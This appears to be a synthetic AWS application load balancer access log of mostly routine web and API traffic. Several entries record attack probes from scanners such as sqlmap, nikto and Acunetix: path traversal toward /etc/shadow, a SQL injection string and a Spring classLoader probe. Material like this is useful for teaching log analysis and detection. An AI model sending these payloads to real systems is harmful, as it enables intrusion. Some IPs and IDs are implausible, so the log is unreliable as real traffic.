TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723beab-05e263e13cad4f72a90c6523" "prod-web-alb.example.com" "-" 9 2024-11-01T00:30:19.295114Z "forward" "-" "-" "10.0.213.182:443" "302" "-" "-" -https 2024-11-01T00:30:20.639425Z prod-api-alb 61.172.20.228:31006 10.0.26.229:443 0.015808 0.045474 0.085177 301 301 611 3685 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beac-0154253295424a2e82937799" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:20.639425Z "forward" "-" "-" "10.0.26.229:443" "301" "-" "-" -https 2024-11-01T00:30:20.875997Z prod-web-alb 144.78.227.164:63357 10.0.64.47:443 0.098843 0.395627 0.084819 301 301 695 8378 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beac-b7e5867a99d94460a31fd20d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:30:20.875997Z "forward" "-" "-" "10.0.64.47:443" "301" "-" "-" -https 2024-11-01T00:30:21.355520Z prod-api-alb 247.240.35.234:33794 10.0.132.65:443 0.057810 0.454336 0.051922 200 200 298 1561 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bead-b1e6eb4a2f3c42c3b2641b00" "prod-api-alb.example.com" "-" 6 2024-11-01T00:30:21.355520Z "forward" "-" "-" "10.0.132.65:443" "200" "-" "-" -https 2024-11-01T00:30:22.474021Z prod-web-alb 225.241.138.197:14827 10.0.30.122:443 0.050509 0.254926 0.045939 200 200 583 8475 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723beae-0a614c82f4ce4253b2081a8e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:22.474021Z "forward" "-" "-" "10.0.30.122:443" "200" "-" "-" -https 2024-11-01T00:30:23.757056Z prod-api-alb 168.183.212.142:47052 10.0.35.166:443 0.042090 0.218548 0.024826 200 200 12 5263 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723beaf-e79b2fdbb25942fc9662b43e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:23.757056Z "forward" "-" "-" "10.0.35.166:443" "200" "-" "-" -http 2024-11-01T00:30:24.763653Z staging-alb 78.139.60.234:44123 218.140.162.205:443 0.076911 0.496892 0.059650 200 200 234 11223 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beb0-209f0da831874cc9878e8f1a" "staging-alb.example.com" "-" 5 2024-11-01T00:30:24.763653Z "forward" "-" "-" "218.140.162.205:443" "200" "-" "-" -https 2024-11-01T00:30:25.076532Z prod-api-alb 192.249.143.81:25036 10.0.252.134:443 0.017286 0.212342 0.050775 200 200 144 6659 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723beb1-4b9228d605f04f658c5ca856" "prod-api-alb.example.com" "-" 3 2024-11-01T00:30:25.076532Z "forward" "-" "-" "10.0.252.134:443" "200" "-" "-" -https 2024-11-01T00:30:26.783735Z prod-api-alb 252.85.213.157:26267 10.0.185.34:443 0.001806 0.340457 0.021153 200 200 594 9675 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beb2-852c689d5f194d6ea816a981" "prod-api-alb.example.com" "-" 3 2024-11-01T00:30:26.783735Z "forward" "-" "-" "10.0.185.34:443" "200" "-" "-" -https 2024-11-01T00:30:27.265090Z prod-web-alb 53.20.66.125:58010 10.0.78.23:443 0.002118 0.065497 0.095099 404 404 354 1957 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beb3-573d6dcde7024787b769a63b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:30:27.265090Z "forward" "-" "-" "10.0.78.23:443" "404" "-" "-" -https 2024-11-01T00:30:28.892904Z prod-web-alb 202.250.19.241:13566 10.0.147.239:443 0.094244 0.443033 0.041279 301 301 226 1523 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723beb4-0dee9bb05ab5482da7572795" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:28.892904Z "forward" "-" "-" "10.0.147.239:443" "301" "-" "-" -https 2024-11-01T00:30:29.173290Z prod-api-alb 93.139.211.13:29904 10.0.192.61:443 0.072759 0.093097 0.008698 302 302 221 14571 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beb5-5fd151cf6d4449c29838ca55" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:29.173290Z "forward" "-" "-" "10.0.192.61:443" "302" "-" "-" -https 2024-11-01T00:30:30.134292Z prod-web-alb 185.181.68.44:16723 10.0.54.79:443 0.078427 0.246195 0.071789 403 403 684 12203 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beb6-f8150fa54e734384bd3c9602" "-" "-" 1 2024-11-01T00:30:30.134292Z "forward" "-" "-" "10.0.54.79:443" "403" "-" "-" -https 2024-11-01T00:30:30.814548Z prod-web-alb 214.12.199.38:54484 10.0.153.178:443 0.014308 0.057620 0.010823 301 301 150 3549 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beb6-3f336c8b6b6c4d21820432c4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:30:30.814548Z "forward" "-" "-" "10.0.153.178:443" "301" "-" "-" -https 2024-11-01T00:30:31.799229Z staging-alb 212.114.220.67:48879 158.207.79.205:8080 0.009452 0.577023 0.138023 200 200 641 14607 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beb7-910808cb641e402bafc1546b" "staging-alb.example.com" "-" 9 2024-11-01T00:30:31.799229Z "forward" "-" "-" "158.207.79.205:8080" "200" "-" "-" -https 2024-11-01T00:30:33.162170Z staging-alb 105.100.39.69:10645 195.195.245.155:8080 0.110711 0.531764 0.133208 200 200 10 3065 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beb9-cc7a2f5300c04b06a48a8fe8" "staging-alb.example.com" "-" 8 2024-11-01T00:30:33.162170Z "forward" "-" "-" "195.195.245.155:8080" "200" "-" "-" -https 2024-11-01T00:30:33.847279Z prod-api-alb 202.206.142.247:15160 10.0.227.88:443 0.054543 0.020077 0.056907 200 200 20 12561 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beb9-efa33d315ff44cb1ac58424f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:30:33.847279Z "forward" "-" "-" "10.0.227.88:443" "200" "-" "-" -https 2024-11-01T00:30:35.652336Z prod-web-alb 45.155.205.51:34149 10.0.139.72:443 0.001096 0.377502 0.042815 404 404 866 9919 "GET /static/../../secret HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bebb-71e5d7abd3e64b6ea80ae4eb" "-" "-" 10 2024-11-01T00:30:35.652336Z "forward" "-" "-" "10.0.139.72:443" "404" "-" "-" -https 2024-11-01T00:30:36.257667Z prod-api-alb 133.98.17.149:28193 10.0.111.33:443 0.021979 0.205556 0.019295 404 404 114 14746 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bebc-f7861123976f417a84fa1499" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:36.257667Z "forward" "-" "-" "10.0.111.33:443" "404" "-" "-" -https 2024-11-01T00:30:38.013909Z prod-web-alb 79.34.27.109:56754 10.0.216.37:443 0.079828 0.328792 0.024874 302 302 36 8269 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bebe-77613c015d7d4e8186ee2cbb" "prod-web-alb.example.com" "-" 10 2024-11-01T00:30:38.013909Z "forward" "-" "-" "10.0.216.37:443" "302" "-" "-" -https 2024-11-01T00:30:39.987035Z prod-web-alb 30.160.78.75:19047 10.0.79.194:443 0.080209 0.079692 0.021774 200 200 603 5784 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bebf-35b779d2876f4c62a194fb57" "prod-web-alb.example.com" "-" 4 2024-11-01T00:30:39.987035Z "forward" "-" "-" "10.0.79.194:443" "200" "-" "-" -https 2024-11-01T00:30:40.308492Z staging-alb 247.217.3.79:15735 105.46.71.172:443 0.138343 0.247813 0.054116 302 302 894 12701 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bec0-a5ec883a03bc4a498f810b9d" "staging-alb.example.com" "-" 4 2024-11-01T00:30:40.308492Z "forward" "-" "-" "105.46.71.172:443" "302" "-" "-" -https 2024-11-01T00:30:41.741466Z prod-web-alb 125.174.243.71:35173 10.0.35.82:443 0.003686 0.096680 0.091420 200 200 55 9800 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bec1-89374674f6d2450292bb780a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:30:41.741466Z "forward" "-" "-" "10.0.35.82:443" "200" "-" "-" -https 2024-11-01T00:30:42.287323Z prod-api-alb 0.239.133.168:46791 10.0.112.40:443 0.011259 0.010223 0.042659 302 302 710 10169 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec2-42fb06e929b3440285048e6b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:42.287323Z "forward" "-" "-" "10.0.112.40:443" "302" "-" "-" -https 2024-11-01T00:30:42.401723Z prod-web-alb 137.163.144.181:49015 10.0.55.171:443 0.030579 0.326429 0.024134 302 302 849 245 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bec2-e8c71f6a0bfb4078a007700f" "prod-web-alb.example.com" "-" 8 2024-11-01T00:30:42.401723Z "forward" "-" "-" "10.0.55.171:443" "302" "-" "-" -http 2024-11-01T00:30:42.974646Z staging-alb 91.160.226.177:18654 103.228.141.136:443 0.113162 0.640941 0.088602 200 200 153 6478 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bec2-3b0d4f9087654631a9ee182c" "staging-alb.example.com" "-" 6 2024-11-01T00:30:42.974646Z "forward" "-" "-" "103.228.141.136:443" "200" "-" "-" -https 2024-11-01T00:30:44.127870Z prod-api-alb 185.181.55.98:38511 10.0.248.225:443 0.075886 0.061037 0.016185 401 401 212 11578 "POST /administrator HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec4-dc912dc608024469a2de8879" "-" "-" 5 2024-11-01T00:30:44.127870Z "forward" "-" "-" "10.0.248.225:443" "401" "-" "-" -https 2024-11-01T00:30:45.445452Z prod-api-alb 83.250.157.239:38728 10.0.205.28:443 0.043655 0.226167 0.023951 302 302 196 12498 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec5-95b2cea0e0fc4121af25e0b9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:30:45.445452Z "forward" "-" "-" "10.0.205.28:443" "302" "-" "-" -https 2024-11-01T00:30:46.039395Z prod-api-alb 193.27.228.181:38063 10.0.104.216:443 0.070687 0.467169 0.056906 404 404 900 9948 "GET /images/../../../../etc/shadow HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bec6-300f78246d53414fba9b794c" "-" "-" 2 2024-11-01T00:30:46.039395Z "forward" "-" "-" "10.0.104.216:443" "404" "-" "-" -https 2024-11-01T00:30:47.067616Z prod-web-alb 51.77.231.55:16555 10.0.170.238:443 0.083126 0.476302 0.010906 404 404 788 3658 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bec7-6f8b68f207254575a84243ed" "prod-web-alb.example.com" "-" 9 2024-11-01T00:30:47.067616Z "forward" "-" "-" "10.0.170.238:443" "404" "-" "-" -https 2024-11-01T00:30:47.922061Z staging-alb 224.0.184.48:39001 224.251.22.244:80 0.000913 0.678053 0.017307 404 404 365 9875 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bec7-e55585f583324036b209765a" "-" "-" 8 2024-11-01T00:30:47.922061Z "forward" "-" "-" "224.251.22.244:80" "404" "-" "-" -https 2024-11-01T00:30:48.617453Z prod-api-alb 0.150.83.26:22449 10.0.8.122:443 0.010498 0.221400 0.045997 200 200 416 13902 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bec8-3063413bf7a2443fa12b8f66" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:48.617453Z "forward" "-" "-" "10.0.8.122:443" "200" "-" "-" -https 2024-11-01T00:30:50.587256Z staging-alb 45.155.205.51:28998 78.106.60.78:443 0.096440 0.503032 0.085433 403 403 686 2090 "GET /static/../../secret HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beca-fd6c16a0b6b94336aa56734e" "-" "-" 9 2024-11-01T00:30:50.587256Z "forward" "-" "-" "78.106.60.78:443" "403" "-" "-" -https 2024-11-01T00:30:52.512224Z prod-web-alb 76.136.136.246:26725 10.0.185.221:443 0.022564 0.232137 0.098634 302 302 18 4460 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723becc-e39c7d61950647848409652f" "prod-web-alb.example.com" "-" 2 2024-11-01T00:30:52.512224Z "forward" "-" "-" "10.0.185.221:443" "302" "-" "-" -http 2024-11-01T00:30:54.168422Z staging-alb 185.181.125.99:49053 152.4.1.193:8080 0.048240 0.086439 0.110128 404 404 671 2562 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bece-9d4ca805917140e0a7b5eaa4" "-" "-" 0 2024-11-01T00:30:54.168422Z "forward" "-" "-" "152.4.1.193:8080" "404" "-" "-" -https 2024-11-01T00:30:55.071682Z prod-api-alb 246.69.12.35:12220 10.0.12.34:443 0.077263 0.260253 0.042876 200 200 861 4149 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723becf-165232db6d1c4853aab69589" "prod-api-alb.example.com" "-" 0 2024-11-01T00:30:55.071682Z "forward" "-" "-" "10.0.12.34:443" "200" "-" "-" -https 2024-11-01T00:30:56.302409Z prod-api-alb 62.251.167.218:58267 10.0.1.190:443 0.034819 0.093362 0.096203 200 200 170 9644 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bed0-46938b99e66c420cb523dbb5" "prod-api-alb.example.com" "-" 9 2024-11-01T00:30:56.302409Z "forward" "-" "-" "10.0.1.190:443" "200" "-" "-" -https 2024-11-01T00:30:57.492640Z prod-web-alb 15.226.20.12:59596 10.0.197.37:443 0.090465 0.177106 0.058006 301 301 958 14638 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed1-ddf25df04c6f43efba0dcfe2" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:57.492640Z "forward" "-" "-" "10.0.197.37:443" "301" "-" "-" -https 2024-11-01T00:30:58.160239Z prod-web-alb 185.181.26.16:42903 10.0.113.117:443 0.098538 0.424832 0.094067 500 500 940 5197 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bed2-605e9f98284d4d579dac823d" "-" "-" 5 2024-11-01T00:30:58.160239Z "forward" "-" "-" "10.0.113.117:443" "500" "-" "-" -https 2024-11-01T00:30:58.809131Z prod-web-alb 228.145.49.223:37385 10.0.118.6:443 0.021787 0.117231 0.042679 301 301 644 4821 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed2-d5caff6427d341faaa4272d0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:30:58.809131Z "forward" "-" "-" "10.0.118.6:443" "301" "-" "-" -https 2024-11-01T00:30:59.285929Z prod-api-alb 125.84.81.253:51049 10.0.125.37:443 0.087000 0.025241 0.064336 301 301 348 7394 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bed3-744905a522554ab7bbdb06d7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:30:59.285929Z "forward" "-" "-" "10.0.125.37:443" "301" "-" "-" -https 2024-11-01T00:31:00.614727Z prod-web-alb 180.127.57.241:12534 10.0.220.224:443 0.060926 0.291123 0.090084 302 302 961 10519 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bed4-09bb5c493f2c4846af6beba3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:31:00.614727Z "forward" "-" "-" "10.0.220.224:443" "302" "-" "-" -https 2024-11-01T00:31:01.382804Z prod-web-alb 143.50.76.105:51190 10.0.154.84:443 0.027140 0.056419 0.066363 301 301 703 7347 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed5-fdcafbc85db748caa8f108d2" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:01.382804Z "forward" "-" "-" "10.0.154.84:443" "301" "-" "-" -http 2024-11-01T00:31:01.721740Z staging-alb 175.32.24.189:53211 37.240.106.41:443 0.076184 0.284932 0.114224 404 404 746 12243 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bed5-c4226d3649df4f7d82b9a466" "staging-alb.example.com" "-" 3 2024-11-01T00:31:01.721740Z "forward" "-" "-" "37.240.106.41:443" "404" "-" "-" -https 2024-11-01T00:31:03.397059Z prod-api-alb 222.254.148.105:41873 10.0.246.13:443 0.098446 0.064848 0.020027 301 301 39 8861 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bed7-eb967514d70442fd90f6d29b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:31:03.397059Z "forward" "-" "-" "10.0.246.13:443" "301" "-" "-" -https 2024-11-01T00:31:05.259242Z prod-web-alb 128.98.204.68:42051 10.0.230.11:443 0.089580 0.105108 0.054704 200 200 600 5949 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bed9-71acea01fa3748cfad5db78a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:31:05.259242Z "forward" "-" "-" "10.0.230.11:443" "200" "-" "-" -https 2024-11-01T00:31:05.514976Z prod-api-alb 23.76.8.74:36753 10.0.200.125:443 0.000335 0.251173 0.071597 200 200 959 11045 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bed9-b3e214c26bd04f068f083b62" "prod-api-alb.example.com" "-" 4 